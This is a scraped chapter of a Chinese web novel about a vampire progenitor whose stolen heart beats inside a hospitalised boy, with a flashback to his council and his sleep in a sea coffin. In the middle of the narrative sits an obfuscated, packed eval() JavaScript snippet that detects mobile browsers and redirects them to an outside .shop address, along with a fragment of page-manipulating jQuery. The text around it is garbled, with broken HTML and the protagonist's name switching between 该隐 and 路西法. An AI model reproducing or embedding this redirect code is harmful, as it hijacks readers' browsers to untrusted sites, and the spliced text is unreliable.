他走到ICU门外,透过玻璃窗往里看。
三号病房里躺着一个小孩。
被子盖的厚厚一层,像是被积雪压住的小猫,此刻仰天八叉地睡得正香。
该隐盯着他看了五秒钟,轻笑了一下,眼神却很危险。
“偷了我的心脏……还睡得挺香。”
他抬手,指尖触及玻璃,脆弱的屏障裂开一道极细的裂缝,从触点开始蔓延直到变成蛛网一样的纹路。
黑暗中,他的双眼红色渐染。
“虽然不是你做的,但既得利益者没有拒绝的权力。”
“上一个敢动我东西的人,已经变成蘑菇了。”
他推开门,赤脚无声地登堂入室,高大的影子静悄悄地靠近。
监护仪滴滴响,值班室里的男护士趴在桌上打盹,睡如死猪。
路西法瞥了眼他,没有停留。
站在暖箱前,他俯视着这个男孩。
小东西睡得毫无防备,肉肉的脸蛋,搭在枕头的腕子系着一根铜线红绳。
路西法伸出手,缓缓伸向男孩的脖子。
只要轻轻一掐。
他的心脏就能拿回来。
可指尖碰到男孩的前一秒,他顿住了。
玻璃箱里,男孩突然不安地动了动脑袋,闭着眼睛,脸蛋朝前,小鼻子微动,像是在嗅闻什么味道。
下一秒,他睁开眼睛。
浅灰色的瞳孔,对上路西法的红瞳,清澈得像浸在泉水里的琉璃珠。
路西法的手停在半空。
男孩看着他,眼神直勾勾的,并不说话。
路西法觉得有意思,但手上的力度示意着杀意不减:“不怕我?”
男孩伸出小手,一下就抓住了他的手。
轰——
瞬间,路西法的胸口猛的震了一下。
很难形容那是什么感觉——明明是空荡荡的胸腔却感觉心脏猛的剧烈收缩着。
痛得像是被一千根针扎穿。
急促的心跳声在他耳边炸开。
那是……
路西法猛的抬头,床上的男孩坐了起来,正看着窗外的景色发呆。
他低头看着自己的手,手背已经一片焦黑,刚才被男孩攥过,明明那么软的力道,比他见过的任何敌人还要不堪一击,却给了他前所未有的伤害。
“你……”究竟是什么怪物。
那一刻,他的心里闪过许多念头。
眼神晦暗不明。
可疑的存在,还是杀了算了。
“你是天使么……”
“来接我的吗?”
似乎从他白发特征看出了该隐的身份,男孩转过头一眼不眨的盯着他,一双浅灰色的眼睛圆圆地看着,水色涟漪,似琉璃似星夜。
男孩仔细地上下打量他,发现他没有白色翅膀后,肉眼可见地失望移开了目光。像是快速对玩具失去兴趣的婴儿。
路西法仔细看了看他的表情。
心里莫名有一种不明不白的情绪,不算威胁,却令他不得不在意。
……烦。
这小子的眼睛怎么跟他还是人类的时候一模一样?
浅灰色,像是第一次看见的月亮。
得不到回应的男孩也不在意,他提了提被子,躺了下去,几个呼吸间,床榻便传来绵长的呼吸声。
路西法:……
算了,跟一个幼崽计较什么。
他摸着自己被掏空的胸口。
猜到了一点原因。
当他的力量作用于男孩,那颗心脏,竟然会跟他的能力共鸣,甚至反作用于他。
那颗属于始祖的心脏,曾经不断地为始祖输送力量的血液,现在又保护于它的“主人”。
啧。
路西法开始烦躁。
“算了,改天再来。”
伤害一个弱小者算什么?
等这个男孩长大再取回他的东西。
更何况,吸血鬼始祖的心脏,可不是什么阿猫阿狗都能承受得住的。说不定不用等到后面,这个少年就已经渴血发疯而亡了。
他转身离开,俊美无比的脸上带着一丝他自己都没发觉的恼火。
走廊的阴影处,他赤脚踩过冰冷的瓷砖。窗外的云层很厚,透出的一点月光银色像是天上探下来的窥视。
*
3小时后,
换班的护士打着哈欠进来换药。
她一进来就看到玻璃无菌箱里的男孩转过了头,轻轻地叫她姐姐。
“小澄光,怎么今天醒的这么早?”
她的速度很麻利,头也不抬的把医疗垃圾顺手扔进旁边的智能垃圾箱。
“因为不困。”睡得太多了。
期间始终朝着窗外,像是窗外有什么吸引人的东西。
护士替他掖被角,眼神忽的凝在他的耳侧。
“诶?耳垂上什么时候多了这个胎记。以前好像没有啊……”
男孩听不懂,只是看着她的动作,脸上带着不知忧愁的稚嫩懵懂。
护士看着他,眼神像是在看一只小猫咪。
她收拾好东西,在不远处的看护室里坐了下来。
看到手腕上watch时间才4:38,距离她下班还有五个小时。她顶着黑眼圈叹了口气。
*
冷月。
十年前的血族议会大厅。
华丽繁复的穹顶之下,十二盏烛台依次陈列在两侧。
幽蓝色的烛光照得大厅阴森,冷酷。
大厅尽头摆着由黄金切成的宝座,椅背上雕满了荆棘花纹,座椅下的红色地毯冷硬如铁,猩红一直蜿蜒到大厅门口,如同巨兽张开大口露出的舌头。曾经这块红毯上浸满了无数反叛者的鲜血,如同王的威严亲临,震慑着一众元老们。
路西法坐在上面,整个人慵懒而随意。
他单手支着下颚,散漫的像一只餍足的黑豹。
“你们说完了?就只有这些么。”
十二亲王之首,李白立于台阶下,他的一头银发束在脑后,面容清秀的像个小伙子。
声音却低沉如老者,“始祖大人,北界狼族多次逾越边界,按血族法律,是不是应该将他们格杀?”
路西法终于抬眼。
他的眼珠里没有眼白,只有黑洞般的纯色,只有一竖猩红的瞳仁,深色的瞳孔透不进光,看起来深邃而危险。
他看了李白一眼。那眼神没什么力度。却无端让李白的心骤然一紧。
路西法作为纯血吸血鬼,他的五官极为立体,眉眼不怒自威,眼窝深邃,鼻梁挺直,下颚线条利落如裁。
跟他的外貌同等优越的是他的手腕。
李白垂下眼帘,不敢与之对视。
他们这位君主看似一副散漫的样子,但实则恶趣味的很。
强大的力量加上随意的性子,统治百年来,无人敢轻视怠慢他。
虽然始着始祖的统治时间越长,他的执政手段似乎越来越温和,甚至对他们是宽恕。可这并不代表他们会忘记对方嗜血凶残的真面目。
最初的始祖还很年轻,勤政时手段不免残忍了些。包括把叛党一族全部绞杀,叛徒住在香榭庄园。一夜之间所有的叛党化为血雾,血腥味在他们鼻尖萦绕了一个月,却无人敢替他们收尸。
谈及这位年轻的君王,无人敢提他的暴君称号。
他们忌惮他却又享受于他的庇护。
如果有选择,无人敢跟他站在对立面。
曾经的狼族如此,现今的他们亦如此。
“越过就越过了。”
路西法开口,语气依然懒散。
“狼族那点能耐,可是好不容易积攒起来的……让让他们又如何呢?”
李白上前一步:“可路西法大人,亲王们……”
“亲王们如何,与我何干?
路西法站起来,身长均庭,步伐悠然地走下台阶,眼神里是无形的压迫感。
他经过李白时停了一瞬,微微上扬的唇角一掀,当他的狼子野心暴露的一览无余。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787815|210226||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“你想坐这把椅子?”
李白霎时僵硬在原地。
见他那怂样路西法轻笑一声,抬手拍了拍他的肩膀。
“想了便想了,不必藏着。不想当将军的士兵不是好士兵。”
可将军毕竟不是皇帝。
他们都明白这个道理。
他很快收回手,继续往店外走去,语气轻飘飘的宣布。
“三天后我将沉睡。”
“期限是永久,没事儿不要吵醒我。”
“活的太久了,久到看到你们的嘴脸都觉得无趣。”
“大人!”
金发亲王忍不住叫住他。
“之后的事你们自己处理。”路西法轻轻撇了他一眼。
他的身影消失在殿前。
十三位亲王跪在原地,面面相觑。
他们都不理解这位大人为何突发奇想做出要沉睡的决定。
李白缓缓抬起头,望向那张空悬的王座。
眼神里翻涌着深深的欲念。
三天后。
路西法站在悬崖上,衣摆飞扬,居高临下地俯瞰整个蓝色海洋。
他的棺材会被放进深海里。
无人知道,也无人打扰。
起重机发出沉重的响声,铁链吊起黑色棺材缓缓沉入海面。
当棺材接触墨蓝色的水面时,激起一圈极轻的波纹。
然后随着重量开始下沉。
棺材穿过幽蓝的浅海层,鱼群和海藻交错。
光线彻底消失。
许久,海底激起一圈飞沙,沙粒沉降,露出一点棺材的轮廓。
路西法在黑暗中睁开眼。
一片浓浓的黑,他什么也看不见。
越过棺材上的禁制,他听见海水挤压棺材发出的声音。
他终于可以安静一会了。
然而这样的安宁,只维持了十年。
李白想要找到始祖,将他藏起来。宣称自己已经得到了始祖大人的认可,挟天子以令诸侯。
探照灯将海底照亮,那方黑曜石棺材依然完好无损。
“就是这个,拖回去带给亲王。”
然而消息走漏了。
刚把棺材拖上甲板,他们遇上了始祖的亲卫队。
“谁让你们动始祖的棺!”
两拨人厮杀过后,棺材意外的失踪了。
海面上的黑云翻涌,海浪掀起,巨大的撞击下,铁链断裂,棺材滑向船沿边缘。
“拦住!快!”
“那是亲王的东西,丢了我们都得死。”
黑色棺材从甲板边缘直直坠落,跌下十几米高的海面,瞬间淹没无踪。
“始祖大人!!!”
黑色的潮水卷起千堆雪。
一个浪头过来,棺材被冲进浅滩,狠狠撞击上礁石,忽然崩开一道裂缝。
大量海水从缝隙中灌进去。
路西法的衣领,袖口,发丝被瞬间打湿。
但他依然躺着。
没有心跳,也没有呼吸。
他的眉头极其轻微的皱了一下。
听到了周围的动静。
好吵。
远处传来人类的声音。
口音粗糙,粗鲁的嗓门。
“娘的,你钓上来什么玩意儿?”
“棺材?!快去报警!”
慌乱的脚步声逐渐远去。
路西法的睫毛又颤了一下。
月光落在他的脸上,他心想
在人类和警察注意到他之前,他得离开这儿。
毕竟人类就是麻烦的代名词。
他离开了,走了太久的路,最后走累了。
街上下着细密的雨,正好人不多,他随便躺在一个地方休息,却没想到吓到了路边一对情侣。
他按自己的意愿活了太久,400年来皆是如此。
却没想到人类社会是不能随地大小躺的。
于是上帝给他开了个大玩笑。
他的心脏没了。